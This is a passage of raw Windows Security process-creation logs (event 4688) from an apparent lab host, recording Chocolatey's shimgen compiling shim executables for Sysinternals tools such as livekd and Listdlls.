configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246564 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf08 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe44 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246563 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe44 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\livekd64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123412_6303\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123412_6303\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_6303\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_6303\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_6303\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246562 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246561 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfc8 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\livekd64.exe" --output="C:\ProgramData\chocolatey\bin\livekd64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\livekd64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246560 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xafc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x370 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD5D9.tmp" "c:\ProgramData\chocolatey\bin\CSCA37286DC1739467B84A69729498D9BFC.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246559 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x82c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x370 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246558 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x370 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd34 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\livekd.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123412_4115\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123412_4115\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_4115\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_4115\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_4115\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246557 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe48 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd34 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246556 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd34 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\livekd.exe" --output="C:\ProgramData\chocolatey\bin\livekd.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\livekd.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246555 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xecc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb30 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD4FE.tmp" "c:\ProgramData\chocolatey\bin\CSCDC692974183149D4A0F4B4FDB71C84B.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246554 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf9c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb30 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246553 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb30 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x318 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Listdlls64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123412_1928\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123412_1928\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_1928\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_1928\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_1928\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246552 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x318 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246551 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x318 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Listdlls64.exe" --output="C:\ProgramData\chocolatey\bin\Listdlls64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Listdlls64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246550 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x39c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd60 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD423.tmp" "c:\ProgramData\chocolatey\bin\CSCAF952016F44D4B88B3B7650677931FF.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246549 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe70 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd60 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246548 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd60 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd64 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Listdlls.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_9897\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_9897\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_9897\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_9897\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_9897\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info 